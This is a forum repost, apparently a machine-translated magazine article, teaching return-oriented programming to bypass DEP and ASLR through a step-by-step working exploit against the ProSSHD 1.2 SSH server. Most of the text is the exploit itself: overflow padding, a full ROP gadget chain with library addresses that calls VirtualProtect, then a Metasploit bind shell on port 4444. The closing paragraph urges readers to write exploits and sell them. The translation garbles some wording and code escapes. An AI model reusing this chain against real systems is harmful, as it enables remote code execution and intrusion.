Програмування злом хакінг огляд секрети хитрості

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Програмування злом хакінг огляд секрети хитрості » Статья » Розпусна-орієнтоване програмування: трюки ROP, що призводять до перемо


Розпусна-орієнтоване програмування: трюки ROP, що призводять до перемо

Сообщений 1 страница 2 из 2

1

Розпусна-орієнтоване програмування: трюки ROP, що призводять до перемоги
Сьогодні я розповім про метод назад-орієнтованого програмування, або, просто, ROP. Ця штука дозволить домогтися виконання довільного коду при експлуатації вразливостей типу переповнення буфера (а також використання звільненої пам'яті, помилки рядка формату і т.д.) в процесі з permanent-DEP і навіть з ASLR.
Знову?

Та, знову! Чергова стаття про обхід DEP і ASLR. Якщо ти читав попередні випуски нашого журналу, то вже знаєш кілька трюків, які дозволяють обходити захисні технології улюбленої нами корпорації Microsoft. Стара добра ret2libc дозволяла нам відключати DEP для процесу, а ось permanent DEP + ASLR ми обходили методом JIT-SPRAY (якщо є JIT-компілятор, наприклад, Flash). На цьому хакерські хитрощі не закінчуються, більше того, сьогодні ми поговоримо про метод, який використовувався в бойових експлойта як білими, так і не зовсім білими капелюхами, по всьому світу. Поки JIT SPRAY експлойти існують лише в лабораторіях, і область їх застосування, як правило - браузери, то ось сплойти, що використовують ROP, вже довели свою придатність на ділі. Крім того, вони можуть використовуватися і проти ПЗ, де немає можливості юзать Flash і JIT-SPRAY. Якщо ти читав останні наші огляди, то міг звернути увагу, що я не брешу, так, наприклад, експлойт, що поширює malware і експлуатує уразливість в Acrobat Reader (CVE-2010-0188) - якраз яскравий тому приклад. Крім того, цей метод використовувався на pwn2own для злому iPhone і в експлойт проти PHP 6.0 DEV. А так як наш журнал модний і глянцевий, то ми також не обійдемо стороною тренд цього сезону.
Туди-сюди-назад ...

Для початку згадаємо класику - ret2libc. При класичному варіанті переповнення буфера ми можемо міняти адресу повернення з функції, переписуючи його в стеку. Якщо ця адреса вказує на не виконує, пам'ять (у тому ж стеку або, наприклад, в купі), то нас чекає розчарування - адже у нас hardware-permanent-super-puper-DEP. Ось для обходу звичайного hardware-DEP метод ret2libc і застосовувався. Суть його в тому, що ми перезаписували адресу повернення на адресу потрібної нам функції. Так як код функції виконуваний, то проблем немає. Одне "але": код функцій перевизначений. Ми, звичайно, можемо викликати послідовно кілька функцій, але пов'язати це в шеллкод практично неможливо, бо нам треба працювати зі змінними, дескрипторами і т.д. Це все одно, що програма з одних API-викликів, без роботи зі змінними і, головне, без обробки повернутого, що викликаються функціями, результату. Тут-то і прийшла ідея більш точкового використання існуючого коду - не цілими функціями, а невеликими шматками коду, безпосередньо до інструкції повернення. Це дозволить атакуючому працювати з регістрами, проводити операції і обробляти результат. Припустимо, як скопіювати будь-яке значення (наприклад, 0xBAADF00D) в пам'ять за певною адресою (наприклад, 0x01020304)? Так як в стек ми можемо писати безпосередньо (в результаті переповнення буфера), то параметри можна записати в самому буфері. Тоді для виконання завдання нам потрібен наступний код:

pop ecx; беремо значення з стека
pop eax; беремо адресу
mov [eax], ecx; копіюємо за адресою наше значення

Щоб виконати цей код, ми можемо знайти окремо кожен рядок, що йде перед інструкцією повернення, і впровадити покажчики на ці рядки послідовно, разом з параметрами.

0x06060101: pop ecx
0x06060102: retn
. . .
0x06060201: pop eax
0x06060202: retn
. . .
0x06060301: mov [eax], ecx
0x06060304: retn

У результаті переповнює буфер так:

0x06060101 / / AAAA - переписуємо адресу повернення
0xBAADF00D / / BBBB - це піде в ecx
0x06060201 / / CCCC - retn поверне нас на таку інструкцію
0x01020304 / / DDDD - це значення піде в eax
0x06060301 / / EEEE - другий retn поверне нас на задуманий код

Тому, якщо буфер для класичного переповнення виглядає так:

[BUFFER] [RET]

то переповнення з ROP буде виглядати так:

[BUFFER] [AAAA] [BBBB] [CCCC] [DDDD] [EEEE]...

0

2

http://www.xakep.ru/post/53257/Image1.png
Думаю, що суть ідеї зрозуміла, але відразу зазначу, що такий метод має багато складнощів. По-перше, такі шматки коду ще треба знайти, а по-друге, у нас не завжди достатньо місця після переписаного адреси повернення (може виникнути виняткова ситуація до переходу на нашу адресу, і тоді вже треба працювати з SEH-дескриптором, але покажчик на стек з адресами ROP ми вже втратимо). Крім того, в ROP-адресах частіше за все не можна використовувати нульові байти. C деякими з цих проблем навіть можна впоратися. Припустимо ми знайшли переповнення буферу в ПЗ. Чим підмінити адресу повернення? Логічно, що нам знадобляться адреси функцій VirtualProtect (щоб позначити пам'ять з шеллкодом як виконувану) або, наприклад, WriteProcessMemory (щоб скопіювати шеллкод у виконувану секцію). Якщо ASLR немає, то задача проста - адреси функцій нам відомі, але от адресу шеллкода? Його-то і треба обчислити, щоб потім передати в якості параметра в ці функції. Крім того, навіть якщо ASLR є, можна знайти використовувані процесом бібліотеки, які не скомпільовані з підтримкою цієї технології, що дозволяє нам використовувати статичний базовий адресу таких DLL'ок (саме цей недолік і використовувався для злому FireFox, що працює під Windows 7 з ASLR + DEP на pwn2own 2010). Суть в тому, що навіть якщо ми не знаємо адресу потрібної функції, але вона викликається з несумісною з ASLR бібліотеки, то ми можемо просто передати управління на цей виклик. Ідея не нова і запропонована Алексом Сотірова (Alex Sotirov) ще на BlackHat 08. Все залежить тільки від різноманітності коду в потрібній нам DLL. Так як нас цікавлять інструкції в безпосередній близькості з виходом з функції.
ROP - Rest On Pain

Спробуємо зробити свою ROP-програму. Для початку виберемо жертву. На цей раз ніяких ActiveX і браузерів - на нашому операційному столі пацієнт під ім'ям ProSSHD версії 1.2. Це непоганий SSH-сервіс під Windows. У даному ПО можливо виконати віддалене переповнення буферу в стеку шляхом довгого SCP-запиту. Оригінальний експлойт я взяв у команди S2 Crew, яка славиться своїми якісними роботами. Суть проста: шолом 491 байт запиту, а наступні 4 байти перезаписують адреса повернення. У момент, коли програма переходить за цією адресою, у нас у вершині стека блок даних що йдуть після перших 495 байт буфера. Тобто:

[491 байт 'a' - 0x41] [RET = EIP] [AAAAAAAAAAAAAAAAAAAAAAAA]
^
ESP

Таким чином, замість [RET] і наступних [AAAAAAA] потрібно писати ROP програму. Але треба сказати, що не завжди буває так, як у нас. Буває, що експлойт не може використовувати адреса повернення. Наприклад, у нас адресу повернення захищений за допомогою позначки (/ GS) і, тоді, ми експлуатуємо вразливість через SEH або у нас взагалі - переповнення не в стеку, а в купі, тоді виходить, що ESP буде вказувати на непідконтрольну хакеру область. У такому випадку перший і єдиний контрольований адресу (SEH дескриптора - у першому варіанті) вказував на код, який повернув би покажчик ESP на стек (або купу - у другому варіанті) з контрольованими даними, щоб перший же RETN повернув нас в русло ROP. Тобто, перша адреса повинен вказувати на щось типу:

add esp, 0xXX
retn

Або якщо в якомусь регістрі лежить покажчик на наші дані:

mov esp, ecx
retn
; Або
xchg ecx, esp
retn

Але в нашому випадку це не потрібно, так що продовжимо вивчати хворого. В якості скальпеля я буду використовувати Immunity Debugger і плагін до нього від відомого бельгійського хакера сorelanс0d3r. Очевидно, що в якості буфера можна передавати всі, крім нульових байтів, тому для ROP нам потрібна статична бібліотека, яка не містить нульових старших розрядів в адресі. Більше того, нам потрібна бібліотека, яка не підтримує ASLR, щоб експлуатувати уразливість в Windows 7. Використавши вищевказаний плагін до дебаггер, можна виявити в складі дистрибутива ProSSHD такі бібліотеки: MFC71.DLL і MSVCR71.DLL. Я буду використовувати обидві бібліотеки, як донорів коду для ROP; таким макаром ми обійдемо DEP + ASLR.

Як же обійти DEP? Поглянувши на список використовуваних цими модулями функцій, можна помітити виклик VirtualProtect () за адресою 0x7C3528DD (MSVCR71.DLL). Це відмінне рішення; оскільки через ASLR адресу цієї функції нам невідомий, то використання в якості "провідника" коду з викликом з MSVCR71.DLL вирішить задачу. Нагадаю, що ця функція може змінювати параметри доступу до сторінок пам'яті, так що за допомогою неї ми зробимо стек виконуваним. Ось, власне, і все - шеллкод вже там, просто передамо йому управління після виклику VirtualProtect.

Параметри для VirtualProtect виглядають так:

VirtualProtect (
IN LPVOID lpAddress, / / покажчик на адресу пам'яті
IN SIZE_T dwSize, / / Розмір пам'яті - 0x1
IN DWORD flNewProtect, / / прапор - 0x40
IN PDWORD lpflOldProtect / / покажчик на пам'ять, куди запишеться
/ / Відповідь (старі прапори)
);

В одній з попередніх статей я відмовився від використання цієї функції для обходу DEP, так як в якості параметрів необхідно використовувати нульові байти. Ось тут-то й допоможе ROP. Ще деталь, якщо поглянути на код виклику VirtualProtect з MSVCR71.DLL, то видно, що наступний адресу повернення, який буде взято за RETN, залежить від регістру EBP. Так як наступний адреса повинна передавати управління на стек (вже виконуваний), то треба розрахувати так, щоб після EBP-0x58 і LEAVE нас відкинуло на потрібну адресу.

7C3528DD CALL DWORD PTR DS: [<& KERNEL32.VirtualProеct>
7C3528E3 LEA ESP, DWORD PTR SS: [EBP-58]
7C3528E6 POP EDI
7C3528E7 POP ESI
7C3528E8 POP EBX
7C3528E9 LEAVE
7C3528EA RETN

Разом, буфер у стеку треба сформувати так:

0x00: 0x7C3528DD - адреса виклику VirtualProtect
0x04: ADDRESS_1 - будь-яку адресу сторінки стека
0x08: 0x00000XXX - будь-яка не велике число
0x0C: 0x00000040 - READ_WRITE_EXECUTE
0x10: ADDRESS_2 - адреса з стека менший ESP

Поясню. Кожен рядок - це 4 байта в стеку. Перший рядок - адресу виклику VirtualProtect з MSVCR71.DLL. Другий рядок - перший параметр функції, а саме адресу сторінки, яку ми хочемо відредагувати. Ми хотіли відредагувати стек, тому годиться будь-яку адресу з стека, значення це не має, тому що права даються на всю сторінку цілком. Далі йде третій параметр - розмір блоку, знову ж значення не має, тому що права даються на всю сторінку. Але треба врахувати, що велика кількість сюди пхати не можна, інакше VirtualProtect буде лаятися. І нуль не можна. У результаті будь-який позитивний не велике число. Останній параметр - адреса, куди запишуться поточні права сторінки. Бажано, щоб ця адреса була або за вершиною стека, або нижче шеллкода - це для того, щоб не затерти що-небудь важливе. У цій конструкції у всіх параметрах присутні нульові байти. Адреси стека починаються з нульового байта і мають вигляд 0x0012XXXX. Про розмір і маску прав - і так зрозуміло. Тому-то нам і допоможе ROP. Інакше ніяк. JIT SPRAY тут непридатний, та й DEP для процесу відключити не завжди можливо. Так що будемо писати ROP-програму - це 100% рішення за даних умов. Виглядати це буде так:

0x000: ADDR_1 - ROP-інструкції
0x004: ADDR_2
. . .
0xX00: ADDR_X
0xX04: 0x7C3528DD - VirtualProtect
0xX08: ADDRESS_1
0xX0C: 0x00000XXX
0xX10: 0x00000040
0xX14: ADDRESS_2
0xX18: RET_ESP - стрибок на 0xX0C
0xX1C: 0x90909090 - NOP's і шеллкод
0xX20: SHELLCODE

ROP-інструкції повинні сформувати та зберегти параметри VirtualProtect за адресами 0xX08, 0xX0C, 0xX10, 0xX14. Очевидно, що ці адреси також треба знати заздалегідь. Тут нам допоможе сам ProSSHD. Якщо звернути увагу, то в момент атаки регістр EDI і EBP вказують на дані в стеці з постійним зсувом щодо ESP. Домовимося, що EDI або EBP і будуть вказувати на те місце, де будуть параметри. Різниця між EDI і ESP, наприклад, завжди складає 1049 байт. Цього цілком достатньо для ROP-програми, а залишок, який вийде між ROP-програмою і викликом VirtualProtect, можна заповнити порожніми покажчиками - RETN. Вийде такий собі аналог NOP в контексті ROP.
It's alive!

Почнемо збирати нашого Франкенштейна. Нагадаю - нас цікавлять різні невеликі шматочки коду, які йдуть безпосередньо перед інструкцією RETN. Цей код не повинен містити інших викликів або сильно впливати на стек. Крім того, він не повинен затирати потрібні нам для подальшої роботи регістри. Щоб це все взагалі запрацювало, нам потрібні такі шматочки, які дозволять працювати як мінімум з двома регістрами, дозволивши міняти значення між ними і записувати за вказівником. Як їх знайти? На жаль, коли я писав цей експлойт, сorelanс0d3r ще не реалізував функціонал з пошуку ROP-шматків (гаджетів) в своєму плагіні, і мені довелося шукати все вручну. Але до моменту підготовки статті, Пітер Ван Ейкхоут (Peter Van Eeckhoutte - це справжні ім'я corelanc0d3r) все-таки зробив потрібний функціонал і попросив мене перевірити його, що я з радістю і зробив. По суті плагін виконав пошук команди 'RETN' в різних варіаціях у коді потрібних мені модулів і сформував текстовий файл зі списком фрагментів.

Аналіз отриманого файлу говорить нам, що весь такий ROP-код досить одноманітний. Це пов'язано з тим, що в більшості випадків функції перед виходом записують що-то в EAX, відновлюють пару регістрів і виходять. Більш рідкісний варіант - запис за адресою EAX значенням іншого регістра. У підсумку я підібрав рішення, яке дозволило мені скопіювати значення з EDI (адреса, де будуть збережені параметри) в регістри EAX і EDX. Крім того знайшлися команди дозволяють копіювати за адресою з EAX, значення EDX. Так завдання вирішилося. Однак на ділі не все так просто, тому я краще розпишу програму докладно. Всі адреси в експлойт треба представляти розрядами задом наперед (раптом хто забув).
Експлойт

Спочатку формуємо частина буфера, яка йде до перезапису адреси повернення. Вміст цього буфера значення не має.

$ Fuzz = "\ x41" x491.

Перезаписує адресу повернення покажчиком на перший фрагмент ROP-програми. Цей код копіює покажчик на місце в стеку (який у нас стабільно в EDI) в регістр EAX.

"\ X9F \ x07 \ x37 \ x7C". # MOV EAX, EDI / POP EDI / POP ESI / RETN

Так як наведений вище код забирає з стека 8 байт (затираючи ними регістри EDI і ESI), то в буфер ми повинні записати ці 8 байт, після яких буде покажчик на наступний фрагмент.

"\ X11 \ x11 \ x11 \ x11". # Це буде в EDI
"\ X22 \ x22 \ x22 \ x22". # Це буде в ESI

Щоб згенерувати значення третього параметра для VirtualProtect, яке повинно бути одно 0x40, нам знадобиться регістр EAX, тому тепер переженемо адресу стека, куди будемо копіювати параметри, в ECX. Після цього EAX затирається. Власне, далі всі команди з створеного мною списку можуть працювати тільки з регістрами EAX і ECX.

"\ X27 \ x34 \ x34 \ x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
"\ X33 \ x33 \ x33 \ x33". # Це буде в ESI

Так, адреса вже в ECX, тепер в EAX треба якось запхнути значення 0x40. Варіантів маса, але самий економічний по кількості гаджетів - це засунути в EAX значення-0x40, а потім викликати NEG EAX. Мінус на мінус - буде плюс. Справа в тому, що-0x40 = 0xFFFFFFC0, тобто немає нульових байтів, і ми можемо передати це через стек, забравши інструкцією POP EAX. Тільки треба не забути додати після наступного адреси повернення 16 байт сміття, оскільки попередня інструкція була RETN 0x10.

"\ XC1 \ x4C \ x34 \ x7C". # POP EAX / RETN
#
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
#
"\ XC0 \ xFF \ xFF \ xFF". #-0x40: це буде в EAX
"\ X05 \ x1e \ x35 \ x7C". # NEG EAX / RETN

Ну ось. Ми отримали в EAX необхідне значення - 0x00000040. У ECX у нас покажчик на місце, де ми готуємо параметри для VirtualProtect, так що наступний фрагмент запише значення на його законне місце.

"\ Xc8 \ x03 \ x35 \ x7C". # MOV DS: [ECX], EAX / RETN

Тепер скопіюємо адресу з ECX назад в EAX.

"\ X40 \ xa0 \ x35 \ x7C". # MOV EAX, ECX / RETN

Тепер у нас в обох регістрах адресу на третій параметр VirtualProtect (-0x40). Це ж значення годиться і для першого параметра цієї функції - адреси сторінки, яку ми модифікуємо. Тому далі я зменшую значення EAX на 12 (три слова), щоб він вказував (із зсувом на 4 байти) на місце для першого параметра.

"\ XA1 \ x1D \ x34 \ x7C" x12. # DEC EAX / RETN

Тепер скопіюйте значення EAX за адресою EAX +4. У результаті у нас буде записаний перший параметр.

"\ X08 \ x94 \ x16 \ x7C". # MOV DS: [EAX +0 x4], EAX / RETN

Збільшимо EAX на 4 байти.

"\ XB9 \ x1F \ x34 \ x7C" x4. # INC EAX / RETN

Тепер EAX вказує на збережений перший параметр, зате EAX +4 вказує на те місце, де має бути другий параметр - розмір пам'яті. Як я писав вище, цей параметр може бути будь-яким позитивним, але не дуже великим числом. По-моєму, число 1 якраз таким і є. Тому зберігаємо його на місці другого параметра.

"\ XB2 \ x01 \ x15 \ x7C". # MOV [EAX +0 x4], 1

Залишився останній параметр - місце, куди буде збережений висновок функції VirtualProtect. Я вирішив його зробити де-небудь у стеку до адреси виклику самої функції. Тобто в момент виклику це місце буде вже менше регістру ESP і на логіку ніяк не вплине. Тому зменшуємо EAX аж на 16 байт.

"\ XA1 \ x1D \ x34 \ x7C" x16. # DEC EAX / RETN

Скопіюємо отримане значення в ECX.

"\ X27 \ x34 \ x34 \ x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
"\ X33 \ x33 \ x33 \ x33". # Це буде в ESI

"\ X40 \ xa0 \ x35 \ x7C". # MOV EAX, ECX / RETN
#
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо
"\ X33 \ x33 \ x33 \ x33". # Це перестрибуємо

Значення ми зберегли поки що в ECX. EAX - в положення, щоб EAX +20 вказував на місце для останнього, четвертого, параметра (це буде як раз за збереженими в стеку 0x40).

"\ XB9 \ x1F \ x34 \ x7C" x4. # INC EAX / RETN

Ну і записуємо останній параметр на своє місце.

"\ XE5 \ x6B \ x36 \ x7C". # MOV DS: [EAX +0 x14], ECX

Тепер у нас в стеку залишилося 412 байт від останнього рядка до першого параметра. Ще 4 байта підуть на адресу виклику VirtualProtect безпосередньо перед першим параметром - разом 408 байт треба заповнити порожніми переходами.

"\ XBA \ x1F \ x34 \ x7C" x204. # RETN

Тепер покажчик на місце, де буде виклик VirtualProtect.

"\ XDD \ x28 \ x35 \ x7C". # CALL VirtualProtect / LEA ESP, [EBP-58] / POP EDI / ESI / EBX / RETN

Далі йде місце в стеку, де будуть збережені параметри функцій. З цим простором працює наша ROP-програма.

"AAAABBBBCCCCDDDD"

Наступний адресу збільшить значення покажчика вершини стека на 12 байт. Навіщо я це зробив - вже забув:).

"\ X1A \ xF2 \ x35 \ x7C". # ADD ESP, 0xC / RETN
"XXXYYYZZZ123". # Перестрибну, змінивши покажчик

Тепер наш стек вже виконуваний і треба передати управління на код з стека, який буде нижчою. Зробимо це нетривіально, згадавши мою попередню статтю про JIT SPRAY, де використовувалося зсув в адресі інструкцій, і в залежності від першого байта інструкції змінювався виконуваний код. Так у нас за адресою 0x7c345c2e міститься код ANDPS XMM0, XMM3. Але якщо додати до цього адресою 2 байта, то що залишилися опкоди проінтерпретіруются як PUSH ESP / RETN. Тобто ми засунь в стек адресу вершини, а потім керівництво RETN забере його, передавши в EIP.

"\ X30 \ x5C \ x34 \ x7C". # PUSH ESP / RETN

Весь подальший код буде вже не адресами, а повноцінним бінарним кодом - шеллкодом. Для початку я все ж сунув трошки NOP'ов.

"\ X90" x14. # NOP

Ну, а далі - шеллкод з Метасплойта (у мене bind shell на 4444 порту).

$ Shell; # Шеллкод
Висновки

Що можна сказати. Очевидно, що пропоновані захисні механізми знижують ризики, але незначно. Також росте складність написання експлойтів, що створює на цьому ринку дефіцит робочої сили. Відразу після публікації даного сплойти, мені прийшов лист з пропозицією про роботу: написанні приватних експлойтів для 0day і не дуже вразливостей, за цінами в 300% перевищує пропозиції для 0day багів у iDefense або ZDI. Я, звичайно, жадібний, але лінивий - мені моєї роботи вистачає. А ось ти тепер знаєш, як писати експлойти, які з радістю куплять за багато $ $ $. Уперед!

0


Вы здесь » Програмування злом хакінг огляд секрети хитрості » Статья » Розпусна-орієнтоване програмування: трюки ROP, що призводять до перемо